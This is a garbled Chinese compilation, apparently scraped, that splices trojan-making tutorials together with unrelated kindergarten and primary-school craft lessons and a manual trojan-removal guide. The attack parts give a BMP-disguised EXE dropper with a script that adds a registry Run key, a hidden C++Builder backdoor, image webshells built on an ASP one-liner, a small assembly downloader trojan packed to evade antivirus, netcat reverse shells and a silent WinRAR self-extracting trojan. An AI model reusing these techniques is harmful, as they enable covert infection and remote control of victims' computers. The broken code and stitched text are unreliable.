何谓BMP网页木马？它和过去早就用臭了的MIME头漏洞的木马不同，MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件，放到网页上利用IE和OE的编码漏洞实现自动下载和执行。
然而BMP木马就不同，它把一个EXE文件伪装成一个BMP图片文件，欺骗IE自动下载，再利用网页中的JAVASCRIPT脚本查找客户端的Internet临时文件夹，找到下载后的BMP文件,把它拷贝到TEMP目录。再编写一个脚本把找到的BMP
文件用DEBUG还原成EXE，并把它放到注册表启动项中，在下一次开机时执行.但是这种技术只能在9X下发挥作用，对于2K、XP来说是无能为力了。
看上去好象很复杂,下面我们一步一步来:
1) EXE变BMP的方法
大家自己去查查BMP文件资料就会知道，BMP文件的文件头有54个字节，简单来说里面包含了BMP文件的长宽、位数、文件大小、数据区长度。我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦)，这样就可以欺骗IE下载该BMP文件，开始我们用JPG
文件做过试验，发现如果文件头不正确的话，是不会下载的，转换代码如下：
FindFirstFile(Pchar(ParamStr(1)),fd); fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs+12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col+4;
end else Break;
end;
FillChar(buffer,256,0);
{一下为BMP文件头数据}
Buffer[0]:='B';Buffer[1]:='M'; PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len+54; PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp.exe文件.大家打开MSDOS方式,输入
exe2bmp myexe.exe mybmp.bmp
回车就可以把第二个参数所指定的EXE文件转换成BMP格式.
接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调.所以大家放在网页上最好用这样的格式
以下是放在网页上的脚本
var st=fso.CreateTextFile(vbs,true);
st.WriteLine('Option Explicit');
st.WriteLine('Dim FSO,WSH,CACHE,str');
st.WriteLine('Set FSO =
CreateObject("Scripting.FileSystemObject")');
st.WriteLine('Set WSH = CreateObject("WScript.Shell")');
st.WriteLine('CACHE=wsh.RegRead("HKCU\\Software\\Microsoft
\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")'); st.WriteLine('wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows \\CurrentVersion\\Run\\vbs")');
st.WriteLine ('wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows \\CurrentVersion\\Run\\tmp","tmp.exe"');
st.WriteLine('SearchBMPFile
fso.GetFolder(CACHE),"mybmp[1].bmp"');
st.WriteLine('WScript.Quit()');
st.WriteLine('Function SearchBMPFile(Folder,fname)');
st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys');
st.WriteLine(' str=FSO.GetParentFolderName(folder) &
"\\" & https://www.doczj.com/doc/638946820.html, & "\\" & fname');
st.WriteLine(' if FSO.FileExists(str) then');
st.WriteLine(' tmp=fso.GetSpecialFolder(2) & "\\"');
st.WriteLine(' winsys=fso.GetSpecialFolder(1) & "\\"');
st.WriteLine(' set File=FSO.GetFile(str)');
st.WriteLine(' File.Copy(tmp & "tmp.dat")');
st.WriteLine(' File.Delete');
st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")');
st.WriteLine(' Lt.WriteLine("rbx")');
st.WriteLine(' Lt.WriteLine("0")');
st.WriteLine(' Lt.WriteLine("rcx")');
st.WriteLine(' Lt.WriteLine("1000")');
st.WriteLine(' Lt.WriteLine("w136")');
st.WriteLine(' Lt.WriteLine("q")');
st.WriteLine(' Lt.Close');
st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat
<" & tmp & "tmp.in >" & tmp & "tmp.out",false,6');
st.WriteLine(' On Error Resume Next ');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete');
st.WriteLine(' end if');
st.WriteLine(' If Folder.SubFolders.Count <> 0 Then');
st.WriteLine(' For Each SubFolder In Folder.SubFolders');
st.WriteLine(' SearchBMPFile SubFolder,fname');
把该脚本保存为"js.js",在网页中插入:
该脚本主要会在本地机器的SYSTEM目录下生成一个“S.VBS”文件，该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。
“S.VBS”文件主要内容如下:
"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"
WScript.Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
'从临时文件夹中查找目标BMP图片
str=FSO.GetParentFolderName(folder) & "\" & https://www.doczj.com/doc/638946820.html, & "\" & fname
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & "\"
winsys=fso.GetSpecialFolder(1) & "\"
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
File.Delete
'生成一个DEBUG脚本
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
'下面一行的1000是十六进制，换回十进制是4096(该数字是你的EXE文件的大小)
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到tmp.dat中.后面的脚本再把它复制到SYSTEM的目录下.这个被还原的EXE文件会在下次重起的时候运行.这就是BMP木马的基本实现过程.
防范方法:
最简单,删除或改名wscrpit.exe文件和DEBUG 文件;
安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了.
启动C++Builder企业版，新建一个工程，添加三个VCL控件：一个是In ternet 页中的Server Socket，另两个是Fas tn et页中的NMFTP^ NMSMTPServer Socket 的功能是用来使本程序变成一个服务器程序，可以对外服务（对攻击者敞开大门）。Socket最初是在Unix上出现的，后来微软将它引入了Windows中（包括Win98和WinNt）；后两个控件的作用是用来使程序具有FTP（File Transfer Protocol 文件传输协议）和SMTP（Simple Mail Transfer Protocol 简单邮件传输协议）功能，大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。 Form 窗体是可视的，这当然是不可思议的。不光占去了大量的空间（光一个Form 就有300K之大），而且使软件可见，根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。 我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木 马在Win9x 的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service 的后台进程, 它可以运行在较高的优先级下, 可以说是非常靠近系统核心的设备驱动程序中的那一种。因此 , 只要将我们的程序在进程数据库中用RegisterServiceProcess （）函数注册成服务进程（Service Process ）就可以了。不过该函数的声明在Borland 预先打包的头文件中没有,那么我们只好自己来声明这个位于中的鸟函数了。 首先判断目标机的操作系统是Win9x 还是WinNt： { DWORD dwVersion = GetVersion （）; _str （）, AnsiString （SystemPath+"\\\\" ）.c_str （）,FALSE ）; .） { _str （））; _str （））; _str （）; nsiLastChar （）!=\'\\\\\' ） _str （）; _str （）; uid ）; ttributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges （hToken, FALSE, &tkp , 0 ,（PTOKEN_PRIVILEGE）SNULL, 0）; .） { goto NextTime; .） { return; 1 ” 2” 0L. Y ............ #define DestNum 1000 =random（ItemWidth）;
泥工——包水饺 活动目标： 1、学习团圆、压扁的技能，能运用这些技能来塑造简单水饺的形象，发展幼儿的动手能力。 2、继续培养幼儿对泥塑的兴趣及泥塑活动的常规。 活动准备： 橡皮泥、泥工板、范例等 活动过程： 一、引题 ——通过讨论的活动形式激发幼儿活动的兴趣。请幼儿一桌一桌的讨论说水饺是什么样的？ 二、出示范例，激发幼儿塑造的兴趣 ——重点：强调团圆、压扁的技能：、左手心，左手在下右手在上，手心相对，把泥慢慢的团圆，团圆后用掌心想下压。 ——难点：把泥压好后包捏成水饺的形象。 三、幼儿动手操作，教师巡回指导，鼓励幼儿大胆塑造。 四、请幼儿互相观赏作品，说说谁的作品好，在操作中，谁认真作业到结束。 五、结束活动： ——整理泥塑，要求幼儿把同颜色的泥团放在一起。
手工——运动小人 活动目标： 1、能用火柴棒来表现运动人的头部、四肢和躯干。 2、了解运动姿势，发挥想象力，拼搭出各种运动造型。 3、感受图形拼搭的趣味。 活动准备： 1、火柴棒双面胶 2、为每位幼儿准备一些火柴 活动过程： 一、我是运动员 ——玩“山上有个木头人”的游戏，将其中的“木头人”替换成“运动员幼儿念完儿歌最后一句时，立刻摆出一种运动姿势，并保持不动。 ——在游戏中，教师和幼儿一起模仿，了解不同运动项目的动作特点。二、运动员出来了 ——请一名幼儿模仿一种运动项目的动作姿势。教师讲解并示范用火柴棒拼搭的方法。先定好运动员头部的位置，然后根据运动员的姿势摆放好身体、手、脚的位置和方向。最后，看看运动员的姿势是不是和示范者的姿势一样。——鼓励幼儿发挥想想，自主设计运动员的不同运动姿势。 三、运动员参加运动会 ——运动员马上要去参加运动会了！教师发给幼儿操作用纸，请幼儿先耐心撕下双面胶的白色纸条，然后在有粘性的空白处用火柴棒拼搭运动员。——教师巡回观察并指导，鼓励幼儿添画“道具”或运动情景。 ——教师询问幼儿拼搭的是什么运动员的姿势，并用文字在其作品旁简单记录。
图片木马制作的三种方法Copy命令制作 1.asp内容： 打开cmd，数据一下命令：
此时打开两个jpg文件，相比： 且打开可以像一样显示图像。 把以下代码放入目标网站，即可按asp执行。<% #include files=””%> Uedit32（转载）：
本制作来自于：雪糕。 我们通常在得到webshell之后都想给自己留个后门，等下次或以后有用得到的时候再进来看看。但如果直接加入一句话木马<%execute request("value")%>到asp文件中时，在该页面上就会有类似如下的错误： Microsoft VBScript 运行时错误错误 '800a000d' 类型不匹配: 'execute' /news1/，行 3 所以我们就可以开动脑筋了，使用插入一句话木马的图片做我们的后门。而且我们如果有足够的权限的话（希望网站中的文件可写），就直接把网站原有的图片变成后门，然后在那个asp文件中加入调用图片后门的代码： 这样就没有上面的“类型不匹配: 'execute'”错误了，而且也更好的隐藏了我们的后门。 新挑战始终会伴着新事物的出现而出现，当我们直接将我们的一句话木马的asp文件改成jpg或gif文件的时候，这个图片文件是打不开的，这又容易被管理员发现。然后我们就又开始思考并寻找新的方法：制作可以显示图片内容的图片格式后门。 制作步骤： 一、前期准备 材料： 1.一张图片：
2.一句话木马服务器端代码： <%execute request("value")%>（其他的一句话也行） 3.一句Script标签： 4. 调用图片后门代码： 工具：UltraEdit
现在很多单位都采用单独的计算机来存放重要的涉密文件。然而如果涉密文件被盗，不仅会带来严重的经济损失，窃密者还可能逍遥法外。为了解决这个问题，我们需要对涉密文件采取某些措施：如绑定木马，在窃密者在得手后木马能自动执行，并记录下窃密者的相关信息，最后及时通知监控端。上面所采取的措施，我们称为网络跟踪技术。本文所要讲述的汇编木马，就经常应用在跟踪技术中。 举个例子：在一涉密.Doc文件中绑定一个.Exe木马。如果木马功能复杂，并且是在VC等编译环境下生成，那它的体积至少有几十K，再加上.Doc文件自身的数据量就非常可观了。一个大的.Doc文件会引起窃密者的怀疑，我们的跟踪也就达不到效果。因此，我们势必要设法在不影响最终目的的前提下，尽量减小木马文件的体积。办法可能不止一个，而我采用的是编写汇编木马的方式。当然，研究的平台都是在Windows2000以上的操作系统中。 Win32汇编木马设计思路 完整的汇编木马又称为“小马”，原因有两个：一是它体积小，只有几K；二是它的功能仅仅是反向连接攻击端，从攻击端下载并执行真正的功能复杂的木马（大马）。为了便于大家理解，本文将不关心“大马”的功能实现，重点是提出汇编木马的设计思路，并尽量从基础的角度进行讨论。 汇编木马的设计围绕4个重要的技术指标：体积小、防杀、突破防火墙与进程隐藏、拖动并执行“大马”， 下面逐一介绍： 1、体积小。常规木马大多用高级语言编写，在集成环境下编译生成。虽然
实现方便，但是生成的.Exe文件体积较大。对于汇编木马，我们采用Win32汇编来实现，使得.Exe文件体积控制在几K。 2、防杀。为了避免被诺顿、卡巴斯基、江民等主流杀毒软件所识别，木马文件一定要进行可靠的加壳处理。根据经验，一般我们选用最新的ASProtect，加壳后的.Exe文件生存能力一般比较强。如果需要，在必要的时候还可以手动修改文件特征码。 3、突破防火墙与进程隐藏。木马文件执行的时候需要与攻击端通信，必须访问网络。但不仅第三方的个人防火墙会阻拦你，现在Windows XP SP2也自带了软件防火墙。当“不可信任”的应用程序访问网络时，防火墙会报警。我的解决方法是：将网络通信部分的代码作为远程线程注入到防火墙“可信任”的进程中。这个“可信任”的进程一般是系统进程，也可以是IE。代码的注入，同时起到了进程隐藏的作用。 4、拖动并执行“大马”。这是汇编木马的核心功能，也是本文要重点举例讨论的内容。最终的监控、跟踪功能是在“大马”中实现的，它可以通过高级语言来实现，体积大小并没有什么限制。 Win32汇编基础 为了进行下面的讨论，Win32汇编是大家必须掌握的基础知识。Win32汇编生成的程序也是运行在Windows保护模式下的。我们可以通过下面几个方面去了解： 1、Win32ASM编译器 Win32ASM编译器最常用的有两种：Borland公司的Tasm5.0和Microsoft的Masm6.11及以上版本，两种编译器各有自己的优缺点，本文选用Microsoft
一、剪贴画的基本概念：根据设想意图选择相应材料，通过裁剪、拼贴、组合等方式，形成具有一定主题且有较强视觉冲击力的画面。 二、制作剪贴画的基本要求: 1.层次分明、主题突出。 2.色调统一、整体感强 3.构思独特、细节精细 4.制作精湛、画面协调 三、制作剪贴画的基本步骤： 1.确定主题，构思立意 2.勾画草图，确定色调 3.选择材料，剪裁摆放 4.拼贴组合，调整完成 小学生手工制作评分标准主要有以下几项： 1、必须现场制作，现成的展示不予评奖； 2、作品完整，做工精致； 3、创意新颖，形式活泼； 4、造型美观，材料环保； 5、主题鲜明，情趣健康； 6、有一定的技术含量。
树叶粘贴画的制作 一、树叶的采集与保存 1.树叶的采集要先考虑其形状的变化。如多菱形的枫树叶、圆形的桦树叶、长形的揪树叶及椭圆的胡枝子叶等，都应采集，以保证图案结构的多样化。 2.树叶的采集还要考虑颜色的多样性。 3.树叶的采集要系列化，即每一种形状、颜色的树叶都能形成从小到大逐个渐进的序列。这样能保证制作时有充分选择的余地。同时也要收集一些花叶、花籽与梗等。 4.采集树叶的同时要携带一定数量的吸水纸或废报纸，如果有纸张粗糙的旧书或杂志也可以。边采集边将树叶展平后摆放到吸水纸中。带回来以后用重物压紧，并且每天翻动两次，大约一周左右待树叶干透以后，分类夹放好就可以用了。 二、树叶的选用与粘贴 1.工具。普通白纸若干张，镊子一个，胶水一瓶。 2.粘贴前先选择适合画面需要的树叶，用镊子轻轻地夹放到画稿上去。经过精心的设计摆放，认为达到了画面要求时就可以在树叶的背面涂上胶水按照先
后次序，放到预先设计好的位置上去。在上面蒙上一层薄纸后渐渐地展平树叶，放到一边待胶水干透后一幅画就完成了。注意不要重压，否则树叶容易破裂。 三、画面处理的方法 1.一种树叶的多次利用 利用树叶可以做很多风景、动物、器物的粘贴画。但是，一个画面的好坏，主要取决于树叶的形状与颜色的选择、搭配。同种大小、颜色不同的树叶在一起搭配粘贴能表现很多的内容。同时要兼顾树叶之间颜色的对比，色度的黑、白、灰。主体部分的色彩不宜大鲜艳，细节部分的色彩可鲜艳一些，这样交错搭配画面就比较协调。例如，准备粘贴一幅“孔雀开屏”的画面，可以选择绿色的柳树叶叠放成扇状，在孔雀屏空隙处摆放两层红与黄的柳树 叶，正面放一叶浅黄色的柳树叶做孔雀的身体，用叶梗做孔雀的腿，这样，一只向每一位参观者展示自己丰姿的绿孔雀就完成了。如果想粘贴一幅“葡萄”的画面，可以用大小不同、颜色不同的树叶相互叠放后形成硕果累累画面后，由两片大菱形葡萄叶完成整幅画面。 2.多种树叶的组合 随着画面内容的不同，有些物体需要不同形状的树叶去完善，如，要贴一幅“金鱼戏水”的画面，金鱼的身体部分用浅色的长圆形树叶，尾巴用红绿相间的枫叶，用外层红、里层黑的花籽粘上眼睛，金鱼就维妙维肖了。画面下边用蕨草做水草，上边用松针模贴几条代表水平面。从画面上看，好象一条色彩斑澜的金鱼在水中悠闲自得的嬉游。 3.花叶、花籽、花梗的使用
利用NC来制作自己的反弹木马 免责申明:我也是第一次公开写这样的东西,不过写此文的目的是为了技术上的研究,把我自己的一些方法和技巧讲出来,和大家一起探讨,希望大家能提出意见.并不是教大家如何利用此方法去破坏别人的电脑!请不要用于非法目的,否则一切责任自负与我无关,呵呵~~~我可不想做黑鹰的大米呀. 一、必须掌握的基础知识； NC这个工具对于一个黑客来说再熟悉不过了,可以说是每个黑客必备工具之一,被称做黑客的一把瑞士军刀!可见其地位之高.大家有兴趣的话自己去看一下有关NC的一些详细用法吧,我在这里就不多说了,这不是我这次要讲的主题,我只把其中我用到的一些参数介绍给大家.NC并不是一个图形界面的工具,但它有很强大的正向链接、反向链接、扫描和监听PORT等功能！ 对于木马，它的种类也有很多，但最让人喜欢的还是具有反弹功能的木马，它可以让我们一劳永逸，一次种植成功以后便自动找上门来，呵呵~~~事半功倍呀！这也是我喜欢反向链接木马的一个原因。（对于正向链接我最喜欢的一个工具就是radmin，原因就是它不会被杀。）至于如何让别人中了你的木马、如何去入侵对方，然后给他种马我就不说了（这也不是我这次要说的主题）方法和手法有很多，就看你的技术了。当你成功入侵一台机子后，你想做的事当然是永远的抓住它，不要让他轻易的溜走，那就赶快上传你自己的木马吧！这是我的通常做法。这时一个优秀的木马会给我们很大帮助。 还是来说NC吧。它的使的格式是这样的，在CMD下输入：NC.EXE [参数1] [参数2] ……主机名（或IP）。 NC有很多的参数，它的功能就体现在这些参数上。这里有几个要用到的、必需掌握的参数给大家简略的介绍一下： -l监听模式，可以监听本地的PORT即端口； -p设置端口，后加端口号； -v显示详细信息， -vv显示更详细信息； -t 以telnet交互方式来回应； -e程序重定向，可以把目标机的CMD重定向到一个端口上，然后我们在本机进行监听，这样就可以得到目标机的SHELL了，具体看后面我讲的例子吧； -d后台模式；主要的参数就这么多吧，我们通过下面的例子来一步一步学习吧！ 二、简单的几个例子； 例如对本机TCP端口90的监听：nc.exe -l -v -p 90 127.0.0.1 意思是临听本机的TCP 端口90（如图1）。
16个生活中很实用的简单小制作个生活中很实用的简单小制作16
1、自制羽毛球准备材料：空饮料瓶一只，泡沫水果网套两只，橡皮筋一根，玻璃弹子一只。制作过程：1.取250毫升空饮料瓶一只，将瓶子的上半部分剪下；2.将剪下的部分均分为8份，用剪刀剪至瓶颈处，然后，将每一份剪成大小一致的花瓣形状；3.将泡
沫水果网套套在瓶身外，用橡皮筋固定在瓶口处；4.将另一只泡沫水果网套裹住一粒玻璃弹子，塞进瓶口，塞紧并露出1厘米左右； 5.剪下半只乒乓球，将半球底面覆在瓶口上，四边剪成须状，盖住瓶口后用橡皮筋固定住。 6.美化修饰后，一只自制羽毛球完成了。用、自制香2羽毛球拍打一打，看看效果怎么样？ 皂纸制作材料和工具：吸湿性较好的白纸，小块香皂，一支毛笔和一次性饮料罐。制作方法：
先把香皂切碎后放在罐里，盛上适量的水后把杯子放在炉上加热，等香皂融化，将白纸裁成火柴盒大小，一张张涂透皂液，再取出阴干就成了香皂纸。3、自制热气球1.首先我们用软纸裁出6～8个叶状的纸片。2.将它们对折并用胶水将它们的边粘在一起作成一个气球。3.用胶带将四根连线粘到气球
底部。用橡皮泥将线的另外一端固定在桌子上。4.尽量将电吹风的速度调的很慢。将吹风口向上对准底部的开口并且打开开关。气球会慢慢变大拉紧细线并且离开桌面。4、自制手电筒具体制作方法是：将一只废易拉罐（如露露饮料罐）起掉一头盖子，另一头用圆头榔头敲凹。用厚瓦楞纸板卷起两节一号电池，电池正极朝 上、负极朝下装入罐中。找一个合适的塑料盖（如神奇大大卷的盒盖正好可以扣在露露饮料罐
上），在盒盖中央挖一个圆形小洞，洞的大小以使灯泡插紧为宜。将灯泡底座插入小洞。取一段寻线两端剥去线皮，一端绕在灯座上，另一端从塑料盖侧面扎一个小孔穿出。将塑料盖盖在易拉罐上。检查一下，灯泡、电池是不是紧密接触。到这里一次性手电筒就做好了。使用时，用大拇指把从侧壁穿出的导
《手工》校本课程计划与教案 授课教师：杨敏 授课对象：四年级学生 授课时间：每周五校本课程 手工方课程的开设是对课堂教学的补充和延伸，与课堂教学相比更具灵活性、可塑性，因而学生非常乐意参加。地方课程的开设，在于培养学生对美术的兴趣、爱好、增长知识、提高技能、丰富学生的课余文化生活，为今后培养美术人才起着积极推动的作用。现将本学期美术小组的活动安排制定如下： 一、活动目的 本学期开设的手工地方课程活动为一部分有特长爱好的学生提供一个展示个性才艺的机会和空间，使他们的一技之长得到充分的发挥和展示，以点带面，促进全校的美术活动。进一步了解美术的基本知识，提高学生的欣赏水平及创造能力。同时让学生在活动中体验创作的乐趣。 二、活动要求 1、组织学生按时参加活动，并保持室内清洁。 2、每周五下午第二节课开始活动，小组成员必须准时到达美术室。 3、美术小组成员应严格遵守纪律，不准在美术室大声喧哗，不准做与美术学习无关的事。 4、每次老师布置的作业，学生都应按时完成。 5、爱护美术教室内的设施和用品。 三、活动内容
1、以小组合作的形式进行平面剪贴和立体手工制作 2、卡纸和生活中的废旧物品均可作为创作材料 3、给学生自己创作作品的时间和空间。 4、欣赏优秀手工作品，开拓学生眼界。 5、及时用相机拍摄活动内容。（集体或个人） 四、定期举办美术比赛 举办美术展览，交流、回顾、总结学习成果，为同学们提供表现自己实力，增强自信心的舞台能起到意想不到的效果。教师要精心指导，严格把关。学生大胆构思，不拘一格，精心绘制，多出佳作，在校内展出以起到示范作用。 五、备注 附：教学进程和教案 博爱小学地方课程备课（填年度学期） 一、教学进程 有趣的吊饰 教学目标： 1、知识与技能：能表现物象的形态特征；运用剪、对折、粘贴制作吊饰；有目的的排列。 2、过程与方法： （1）在比较中，感受民间饰物造型、色彩、花纹特点； （2）在探索中学习吊饰的设计方法； （3）在“尝试运用”中掌握制作方法。
自解压木马的制作及查杀图文教程 https://www.doczj.com/doc/638946820.html,/wojiubaibudu/blog/item/e75b30871fd65d3466096e04.html 2009-09-24 自解压木马是利用 WinRAR 软件的自解压技术制作的。WinRAR 解压软件想必你的电脑已经安装了吧。 不要问我怎么安装 WinRAR ，我会生气的(╰_╯)。那么，我们开始吧。 1.本例用一张图片和一个木马制作自解压木马，当然你可以用别的文件代替本例中的图片。 2.接着，将图片和木马压缩为一个文件，不要问我怎么压缩(╰_╯)。
3.双击压缩好的文件，可以看到下图界面，单击工具栏最右边的“自解压格式”。 4.在弹出的对话框中，再单击下图鼠标所指的“高级自解压选项”。
5.此时，弹出如下图所示对话框，在“解压路径”文本框中输入一个路径，此路径的作用是： 当用户运行自解压木马时，压缩包中的木马自动释放到此路径中。所以，最好输入一个不容易被发现的位置 如本例中的“%SystemRoot%\system32”，表示解压到系统文件夹下的system32文件夹中。
同时，还要在【安装程序】组合框中的“解压后运行”文本框中输入木马文件“木马.exe”， 在“解压前运行”文本框中输入图片文件“MM.jpg”。 6.切换到【模式】选项卡，在【安静模式】中选择“全部隐藏”。
7.再切换到【更新】选项卡，选择“解压并替换文件”和“覆盖所有文件”。
8.点击确定，再点击确定，到此为止，自解压木马就制作完成了，生成的自解压木马在原压缩文件同目录下，如下图所示。
如果你访问××网站（国内某门户网站），你就会中灰鸽子木马。这是我一黑客朋友给我说的一句说。打开该网站的首页，经检查，我确实中了灰鸽子。怎么实现的呢？他说，他侵入了该网站的服务器并在网站主页上挂了网页木马；一些安全专家常说，不要打开陌生人发来的网址，为什么？因为该网址很有可能就是一些不怀好意者精心制作的网页木马。 以上只是网页木马的两种形式，实际上网页木马还可以挂在多媒体文件（RM、RMVB、WMV、WMA、Flash）、电子邮件、论坛等多种文件和场合上。很可怕吧，那么用户如何防范网页木马呢？下面我们就先从网页木马的攻击原理说起。 一、网页木马的攻击原理 首先明确，网页木马实际上是一个HTML网页，与其它网页不同的是该网页是黑客精心制作的，用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢？因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞，让IE在后台自动下载黑客放置在网络上的木马并运行（安装）这个木马，也就是说，这个网页能下载木马到本地并运行（安装）下载到本地电脑上的木马，整个过程都在后台运行，用户一旦打开这个网页，下载过程和运行（安装）过程就自动开始。 有朋友会说，打开一个网页，IE浏览器真的能自动下载程序和运行程序吗？如果IE真的能肆无忌惮地任意下载和运行程序，那天下还不大乱。实际上，为了安全，IE浏览器是禁止自动下载程序特别是运行程序的，但是，IE浏览器存在着一些已知和未知的漏洞，网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面我举IE浏览器早期的一个漏洞来分别说明这两个问题。 ⒈自动下载程序 小提示：代码说明 a. 代码中“src”的属性为程序的网络地址，本例中 “https://www.doczj.com/doc/638946820.html,/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序，这段代码能让网页下载该程序到浏览它的电脑上。 b. 也可以把木马程序上传到免费的主页空间上去，但免费空间出于安全的考虑，多数不允许上传exe文件，黑客可能变通一下把扩展名exe改为bat或com，这样他们就可以把这些程序上传到服务器上了。 把这段代码插入到网页源代码的
手工查杀木马病毒的一般详细步骤其实，在平时一不小心中病毒或木马的时候，对于高手来说，都采用手动查杀的方式，因为一方面，对于互联网上新出现的病毒或其变种，大多数的杀毒厂商往往都是被动的，这样就给那些病毒木马提供了时间上的有利条件;另一方面，用杀毒软件查杀的话，是很浪费宝贵的时间的，你知道，高手们往往是不会去选择做傻事的，因为他们知道应该在这些傻事 中学到些什么,而对于我们普通菜鸟用户来说，怎么办呢,总不能坐以待毙吧～作为高手是不能容忍的，因此，手工查杀就从中起了重要作用。那么我们应该怎么办呢,我 们应该从中学到些什么呢, 首先，当我们感到机器变得比以前慢很多，或者鼠标有时会不自主的乱抖动，这时我们就应 该考虑是不是病毒或木马在作怪了。 这时，我们的第一步就是打开任务管理器，仔细查看有没有哪些异常或自己尚不清楚的进程，发现后，先不要急着结束它，先用纸和笔记录下来，这时我们可以在网上查下该进程的相关资料(比如*.exe)，这时如果上网不方便的话，可以在资源管理器中按F3打开“搜索”，首先确保将系统中的所有文件全部显示出来，包括重要的系统文件，并“所有文件和文件夹”搜索，看看它到底藏在了哪里，也许有时候你会发现，这个你不熟悉的进程名正是系统中正常的一个程序的进程。不过这也没关系，我们都是从不懂到懂得的一个过程，没什么指得可 笑的。 如果从网上找到的资料里，发现这个确是病毒或木马的话，则毫无疑问的进行下一步骤。如果是在“搜索”中找到的，则右击查看它的属性，看看它是具体什么
时间被建立的，如果与实际不符而相违背的，或明显带有迷惑用户性质的话，则可以肯定它们对我们是不利的。我 们只有将它们赶尽杀绝了!!! 下一步，我们就要毫不留情的在任务管理器中先结束其进程了。右击它选择“结束进程”，“确定”即可。如果中的病毒或木马很强的话，我们就要采取强制的方式结束它了。具体方法:首先“开始——运行”，输入CMD，打开命令提示符。输入“Tasklist”后就会看到我们各个程序的进程列表了，其中有一列叫 PID(进程标识符)的，这对我们强制关闭某个进程 时有用到。 它的命令是这样的:“ntsd -c q -p PID号”。 假如你看到我们刚才记下的可疑进程名，及其后面的PID号是1060(假如)，则可以，在提示符下输入“ntsd -c q -p 1060”就可以了。这是我们的第二步，其实按一般思路，结束可疑进程是第一步，这里，我们把判断作为了一个步骤，然而这对于我们这样的菜鸟来说，准确判断一个进程是不是可疑进程，是不是那么容易的，应该说什么都是靠积累的，如古人 云:不积跬步，无以至千里;不积小流，无以成江海。知识也不例外～ 好了，废话不多说。下一步，我们就要对注册表进行“体检”了，不过新手建议先备份，以防不测，有的菜鸟说，不知道应该备份哪些内容，我说你需要修改哪些内容，你就首先将其备份好，以便系统被我们折腾的崩溃了，^_^，好有后悔药吃。你知道世上本没有后悔药，所以我们每一步都要很小心，这是很重要的。即使电脑老手也有失手的时候，不管做什么。 我好象说多了。。。。。^_^ 对注册表进行编辑，使用regedit或regedt32命令。依次展开并找到以下几项，看有没有
16个生活中很实用的简单小制作 1、自制羽毛球准备材料：空饮料瓶一只，泡沫水果网套两只，橡皮筋一根，玻璃弹子一只。制作过程：1.取250毫升空饮料瓶一只，将瓶子的上半部分剪下；2.将剪下的部分均分为8份，用剪刀剪至瓶颈处，然后，将每一份剪成大小一致的花瓣形状；3.将泡沫水果网套套在瓶身外，用橡皮筋固定在瓶口处；4.将另一只泡沫水果网套裹住一粒玻璃弹子，塞进瓶口，塞紧并露出1厘米左右；5.剪下半只乒乓球，将半球底面覆在瓶口上，四边剪成须状，盖住瓶口后用橡皮筋固定住。6.美化修饰后，一只自制羽毛球完成了。用羽毛球拍打一打，看看效果怎么样？ 2、自制香皂纸制作材料和工具：吸湿性较好的白纸，小块香皂，一支毛笔和一次性饮料罐。制作方法：先把香皂切碎后放在罐里，盛上适量的水后把杯子放在炉上加热，等香皂融化，将白纸裁成火柴盒大小，一张张涂透皂液，再取出阴干就成了香皂纸。 3、自制热气球1.首先我们用软纸裁出6～8个叶状的纸片。2.将它们对折并用胶水将它们的边粘在一起作成一个气球。3.用胶带将四根连线粘到气球底部。用橡皮泥将线的另外一端固定在桌子上。4.尽量将电吹风的速度调的很慢。将吹风口向上对准底部的开口并且打开开关。气球会慢慢变大拉紧细线并且离开桌面。 